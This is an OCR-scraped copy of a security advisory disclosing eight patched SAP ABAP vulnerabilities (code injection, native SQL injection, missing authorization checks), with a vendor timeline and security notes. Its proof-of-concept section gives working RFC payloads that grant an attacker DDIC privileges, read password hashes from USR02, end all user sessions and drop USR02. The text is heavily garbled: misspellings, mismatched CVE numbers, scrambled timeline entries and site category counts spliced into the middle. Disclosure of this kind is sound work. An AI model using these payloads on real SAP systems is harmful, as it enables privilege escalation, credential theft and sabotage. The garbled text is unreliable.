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## SAP Application Server ABAP / ABAP Platform Code Injection / SQL Injection / Missing Authorization

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The SAP application server ABAP and ABAP Platform are susceptible to code injection, SQL injection, and missing authorization vulnerabilities. Multiple SAP products are affected.

tags I exploit vulnerability sql injection

advisories | CVE-2020-26808, CVE-2020-26832, CVE-2020-6318, CVE-2021-21465, CVE-2021-21466, CVE-2021-21468, CVE-2021-21473, CVE-2021-33678

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product: SAPO Application Server

ARAP and ARARO Platform (Different Software Components)

vulnerable version: see Section "Vulnerable / tested versions"

fixed version: see SAP security notes 29355(3, 2973735,

CVE number: CVE-2021-2148, CVE-2021-21488, CVE-2021-21466,

CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,

impact: CVE-2021-21473, CVE-2021-3168

homepage: https://www.asp.com

foud: 05/202 - 02/2021

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SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe  $\mid$  Asia  $\mid$  North America https://www.sec-consult.com Vendor description: "SAP is a market share leader in enterprise resource planning (ERP), analytics, supply chain management, human capital management, master data management, data interpriation as well as in experience management" [1]. Customers comprise 92% of the Forben Global 2000 companies and 98% of the 100 most valued brands. 77% of the world's transaction revenue touches an SAP system [1, 2].

"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on which important business processes run. It provides a complete development and runtime environment for ABAP-based applications. The purpose of AS ABAP is to provide programmers with an efficient means of expressing business logic and relieve them from the necessity of platform-related and purely technical coding. AS ABAP is therefore a basis for all ABAP systems" [3].

"The [successor] ABAP platform provides a reliable and scalable server and programming environment for modern ABAP development [...]. The ABAP platform offers support for SAP HANA and SAP Flori and allows developer to efficiently build enterprise software that meets the requirements of their Dusiness scenarios - on-premale sa well as in the cloud" [4].

- [1] https://www.sap.com/about/company.html [2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71 af511fa.html
- af511fa.html
  [3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/en-US/797de8aa42e24916953c4bb3d983662d.html
  [4] https://developers.sap.com/topics/abap-platform.html

Business lecommendations.

By exploiting the wulnerabilities documented in this advisory, privileged attackers can take complete control of affected application servers. Thus, successful exploitation can enable fraud, abotage or data theft while affecting confidentiality, integrity, and availability of business data.

SEC Consult recommends to implement security notes 2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues are fixed according to the vendor. Me advise installing the corrections as a matter of priority to keep business-critical data secured.

Advanced Business Application Programming (ABAP)® is a proprietary programming language by SAP SE. In common with every other programming language by SAP SE. The common with every other programming language, BAP can be susceptible to software unlareabilities ranging from missing or improper authorization checks to inadequate input validation and output samitration. Of particular concern are injection vulnerabilities, which can jeopardize the overall system security.

Remote Function Call (RFC) is a proprietary network protocol by SAP SE. Comparable to application programming interfaces (APIs), SAP systems come with thousands of built-in function modules implemented in ABAPL RFC allows remote-enabled functions to be accessed via the network. This makes it possible to decentralize business applications even across system boundaries. External programs and external clients can make use of RFC connections to interact with an SAP system via libraries (e.g. NW RFC SDK) provisioned by SAP SE.

This advisory covers multiple critical vulnerabilities discovered in the ARAR® coding of standard function modules. These are part of different software components that build upon the bedrock products SAP® Application Server ARAP and ARAR® Platform.

[CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Platform

Function modules RSDU\_LIST\_DB\_TABLE\_SYB and RSDU\_LIST\_DB\_TABLE\_DB4 of function groups RSDU\_UTIL\_SYB and RSDU\_CORE\_UTIL\_DB4 are vulnerable to ABAP code injection bugs allowing to execute arbitrary ABAP code. Successful exploitation leads to full system compromise.

[CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)

Function module CNV\_MBT\_SEL\_STRING\_RETURN of function group CNV\_MBT\_SEL is vulnerable to an ABAP code injection bug allowing to embed arbitrary code into the ABAP Repository. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation leads to full system compromise.

[CVE-2020-26832] Missing Authorization Check in SAP NetWeaver AS ABAP and SAP S4 HANA (SAP Landscape Transformation)

Function module CNV\_GET\_USERS\_FOR\_APP\_SERVER of function group CNV\_00001\_MELP does not perform any programmatically implemented authorization check. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation allows to retrieve internal information and to make a targeted SAP system completely unavailable to its intended users. The latter is to be considered as a Denial of Service (DSG) status



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December 2022 Advisory (79,754) Arbitrary (15.694) October 2022 BBS (2.859) September 2022 Bypass (1,619) August 2022 CGI (1,018) July 2022 Code Execution (6,926) June 2022 Conference (673) May 2022 Cracker (840) April 2022 CSRF (3,290) March 2022 DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) Java (2.899) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14.201) Magazine (586) FreeBSD (1.242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220) Python (1.467) Juniper (67) Remote (30.044) Linux (44,315) Mac OS X (684) Ruby (594) Mandriva (3.105) Scanner (1.631) Security Tool (7,777) OpenBSD (479) Shell (3,103) RedHat (12,469) Shellcode (1,204) Slackware (941) Sniffer (886) Solaris (1,607)

4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)

Function module RSDL\_DB\_GET\_DATA\_BMS of function group RSDL does not perform any programmatically implemented authorization check. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation allows to read out the entire database including cross-client data access.

5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)

Function module RSDL\_DB\_GET\_DATA\_BMS of function group RSDL is vulnerable to a native SQL injection (ADBC) bug allowing to execute arbitrary SQL commands at database level. An attacker can abuse this bug by invoking the function remotely via the RFC protocol. Successful exploitation leads to full system compromise.

6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA

Function module RSDRI\_DF\_TEXT\_READ of function group RSDRI\_DF\_FACADE is vulnerable to an ARAP code injection bug allowing to embed arbitrary code into the ARAP Repository. An attacker can abuse this bug by invoking the function remotely via the RRC protocol. Successful exploitation leads to full system compromise.

7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform

Function module SRM\_RFC\_SUBMIT\_REPORT of function group SRM\_REP does not enforce proper authorization checks for critical use of a dynamic program call. An attacker can abuse this bug by invoking the function removely via the RFC protocol. Successful exploitation allows an attacker to execute existing ARAP reports without holding sufficient authorizations.

8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)

Function module CONVERT FROM CHAR SORT RFW of function group FG RFW contains a code injection vulnerability with a limited exploitation primitive. An attacker can abuse this buy to delete critical system tables (e.g. USRG01), making the targeted SAP system completely unavailable to its intended users.

Proof of concept:

 [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver (ABAP Server) and ABAP Flatform

The vulnerable functions make use of the GENERATE SUBROUTINE POOL instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitiration, an attacker can inject malicious ABAP code through specific import parameters. This code gets executed on the functions.

The following payload exploits the bug to escalate privileges via reference user assignment:

Import Parameter: I\_TABLNM Value: USR02

Import Table: I\_T\_SELECT\_FIELDS

RSD_FIELDNM
BNAME

Import Table: I\_T\_WHERE\_COND

FIELDNM	OP	LOW
BNAME	EQ	S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER

2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP and S/4 HANA (DMIS)

The vulnerable function makes use of the INSERT REPORT instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output samitization, an attacker can inject malicious ADAP code through specific import parameters. Inserted code may be executed by chaining this bug with CVE-2021-21473.

The following payload exploits the bug to escalate privileges via reference user assignment:

Import Parameter: TABNAM

Import Table: IMT\_SELSTRING

LINE
BNAME = 'TEST'. ENDSELECT.

UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER'
SELECT \* FROM USRO2

 [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver AS ABAP and SAP S4 HANA (SAP Landscape Transformation)

The vulnerable function does not perform any explicit authorization check. Depending on a specific import parameter, the function leaks active logon sessions (opcode 22) or terminates all active logon sessions (opcode 25) by kernel call 'ThUsrinfo'. Invoking the function periodically prevents users from logging into the application server.

The following payload exploits the bug to trigger the information disclosure and enumerate active user sessions:

Import Parameter: MODE Value: 1

The following payload exploits the bug to terminate all active user sessions:

Import Parameter: MODE Value:

4) [CVE-2021-21468] Missing Authorization Check in SAP Business Warehouse (Database Interface)

The vulnerable function does not perform any explicit authorization check. It uses predefined classes and methods from the ABAP Database Connectivity (ADBC) framework to execute native SQL queries at database level. Depending on specific import parameters, this allows to read our arbitrary table data including user master records or secure storages (e.g. RSECTAB).

The following payload exploits the bug to exfiltrate user password hashes:

Import Table: I\_S\_TABSEL

NAME			
USR02			

Import Table: I\_S\_DBCON

CON_NAME					
<database< th=""><th>Connection</th><th>String&gt;</th><th>(e.g.</th><th>DEFAULT)</th><th></th></database<>	Connection	String>	(e.g.	DEFAULT)	

## Import Table: I\_T\_DBFIELDS

	NAME	TYPE	LENGTH
Γ	BNAME	CHAR255	000255
Г	PWDSALTEDHASH	CHAR255	000255

 Spoof (2,166)
 SUSE (1,444)

 SQL Injection (16,102)
 Ubuntu (8,199)

 TCP (2,379)
 UNIX (9,159)

 Trojan (686)
 UnixWare (185)

 UDP (876)
 Windows (6,511)

Other

Web (9,365) Whitepaper (3,729) x86 (946) XSS (17,494) Other

Vulnerability (31,136)

Virus (662)

5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP Business Warehouse (Database Interface)

The vulnerable function does not perform any input validation or output sanitization on import parameters that can be used to define conditional SQD, statements. This allows to inject arbitrary SQL commands that get executed natively at database level in the course of execution of the function

The following payload exploits the bug to escalate privileges via reference user assignment:

### Import Table: I\_S\_TABSEL

NAME
USR02

#### Import Table: I\_S\_DBCON

CON_NAME					
<database< th=""><th>Connection</th><th>String&gt;</th><th>(e.g.</th><th>DEFAULT)</th><th></th></database<>	Connection	String>	(e.g.	DEFAULT)	

### Import Table: I\_T\_DBFIELDS

NAME	TYPE	LENGTH
BNAME	CHAR255	000255

### Import Table: I\_T\_SELECT

FIELDNM	OPTION	LOW
BNAME	EQ	'';UPDATE USREFUS SET REFUSER ='DDIC' WHERE '1
' = '1 AND' AND BNAME	EQ	'ATTACKER';

6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business Warehouse and SAP BW/4HANA

The vulnerable function makes use of the INSERT REPORT instruction by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker can inject malicious ABAP code through specific import parameters. Inserted code may be executed by chaining this bug with CVE-2021-21473.

The following payload exploits the bug to escalate privileges via reference user assignment:

Import Parameter: I\_TABLE\_NAME Value: INJECTION

Import Parameter: I\_DEBUG\_SUFFIX Value: SAP

#### Import Table: I\_T\_RANGE\_STRING

CHANM	LOW	HIGH
BNAME	'. UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER	'. EXIT. "

7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP and ABAP Platform

The vulnerable function uses a dynamically generated program name (based on data from untrusted sources) in a SUBMIT call. No authorization checks are programmatically enforced. Thus, a remote, unauthorized attacker can leverage this function to start any existing ARAP report by providing the respective report name in the import parameter REPORTMAN

[CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP (Reconciliation Framework)

The vulnerable function makes use of the GENERATE SUBROUTINE FOOL instruction in form 'get\_dynamic\_fields' by providing source code that is created dynamically using untrusted user input. As there is no input validation or output sanitization, an attacker cam inject malicious ABAF code through specific import parameters. These prameters are limited in size due to their variable by the companion of the control of the contro

Import Parameter: RTABNAME
Value: X. EXEC SQL. DROP TABLE USR02-

Import Parameter: RFIELDNAME Value: ENDEXEC

## Vulnerable / tested versions:

All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04 and ABAP Platform 1909. No additional testing on other releases has been carried out. According to the vendor the following releases and versions are affected by the discovered vulnerabilities:

- 1) SAP NetWeaver (ABAP Server) and ABAP Platform, Versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755
  Components: SAP\_BW, SAP\_BW\_VIRTUAL\_COMP
- 2) SAP AS ABAP (DMIS), Versions 2011 1 620, 2011 1 640, 2011 1 700, 2011 1 710, 2011 1 730, 2011 1 731, 2011 1 752, 2020; SAP 34 HANN(DMIS), Versions 101, 102, 103, 104, 105 Components: DMIS, S4CORE
- 3) SAP NetWeaver AS ABAP (SAP Landscape Transformation DMIS), Versions 2011 1 620, 2011 1 640, 2011 1 700, 2011 1 710, 2011 1 730, 2011 1 731, 2011 1 752, 2020; SAP S4 HANA (SAP Landscape Transformation), Versions 101, 102, 103, 104, 105 Components: DMIS, S4CORE
- 4) SAP Business Warehouse, Versions 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 782 Components: SAP\_BW, SAP\_BW\_VIRTUAL\_COMP
- 5) SAP Business Warehouse, Versions 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 782 Components: SAP\_BW, SAP\_BW\_VIRTUAL\_COMP
- 6) SAP Business Warehouse, Versions 700, 701, 702, 711, 730, 731, 740, 750, 782; SAP BW4HANA, Versions 100, 200 Components: SAP\_BW, DW4CORE
- 7) SAP NetWeaver AS ABAP and ABAP Platform, Versions 700, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755 Components: SAP\_BASIS
- SAP NetWeaver AS ABAP (Reconciliation Framework) 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 75A, 75B, 75B, 75C, 75D, 75E, 75F
   Components: SAP\_ABA

# Vendor contact timeline:

The following timelines have been split for each CVE/vulnerability, as different contacts were responsible. All identified vulnerabilities have been fixed by now by SAP and SSC Consult releases this security advisory adhering to the responsible disclosure policy.

## CVE-2020-6318

2020-08-12 | Contacting vendor with detailed report through vulnerability submission web form.

```
2020-08-13 | Vendor confirms receipt and assigns security incident number #2080354772.
2020-08-19 | Vendor confirms vulnerability.
2020-08-24 | Vendor informs about patch development strategy.
2020-09-09 | Vendor informs about release of the patch, registration of CVE number and corresponding security note.
2020-09-08 | Vendor releases patch with SAP Security Note 2958563.
    CVE-2020-26808
 CVE-2020-26832
 CVB-2/U2-20832

2020-10-23 | Contacting vendor with detailed report through vulnerability submission web form.

2020-10-26 | Vendor confirms receipt and assigns security incident number 2020-11-17 | Confirms receipt and assigns security incident number 2020-11-21 | Vendor same vulnerability and proposes CVSS score of 7.6. 2020-11-23 | Vendor saks for exploit script shown in the initial report. 2020-11-24 | Providing the requested script vie encrypted PCP mail. 2020-12-07 | Vendor informs shout release of the patch, registration of CVE number and corresponding security note. 2020-12-08 | Vendor releases patch with SAP Security Note 2993132.
   CVE-2021-21465 / CVE-2021-21468
   2020-10-27 | Contacting vendor with detailed report through vulnerability submission web form.
 2020-10-27 | Contacting Vendor with detailed report through wunerability submission web form.
2020-10-29 | Vendor confirms receipt and assigns separated security incident numbers 4207044607 and 4207044605.
2020-11-16 | Vendor confirms with interability and predicts patches to be released vendor confirms with the patch of the vendor confirms of the vendor confirms of the vendor confirms of the vendor confirms that patch needs to be postponed to January Patch Tuesday 2020.
2020-12-01 | Vendor informs about release of patches and clarifies that a single security note will fix both issues. Additional information about CVSS access is provided.
2021-01-11 | Vendor informs about release of the patches, registration of CVE numbers and corresponding security note.
2021-01-12 | Vendor releases patches with SAP Security Note 2986980.
 CVE-2021-21466 / CVC-2021-21473

2020-11-25 | Contacting vendor with detailed report through vulnerability submission web form.

2020-11-27 | Vendor continus receipt and assigns security incident number #2080398648.

2021-01-04 | Vendor continus receipt and assigns security incident number #2080398648 and Vendor Grant Factor Vendor Grant Vendor Information is provided detailing on that they will split the reported finding into two separated security issues and security incident numbers #2080398648 and #208012695.

2021-01-11 | Vendor informs about release of the first patch, registration of CVE number and corresponding security note.

2021-01-11 | Vendor informs about patch release for the first issue. Additional information is provided describing that a patch for the second issue is still in development.

2021-01-12 | Satill in development.

2021-03-19 | Vendor informs that fix is in progress and note will be released soon.

2021-06-07 | Vendor informs about release of the second patch, registration of CVE number and corresponding security Note 3002517.
    CVE-2021-21466 / CVE-2021-21473
 SAP SE reacted promptly to our findings. Product Security Incident Response Team (FSRT) and engineers released patches in a timely manner for each of the reported issues. These patches are available in form of SAP Security Notes which can be accessed via the SAP Customer Launchpad [5]. More information can also be found at the Official SAP Product Security Response Space [6].
    The following Security Notes need to be implemented:
   2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657
   [5] https://launchpad.support.sap.com/#/securitynotes
[6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day
   None
   https://sec-consult.com/vulnerability-lab/
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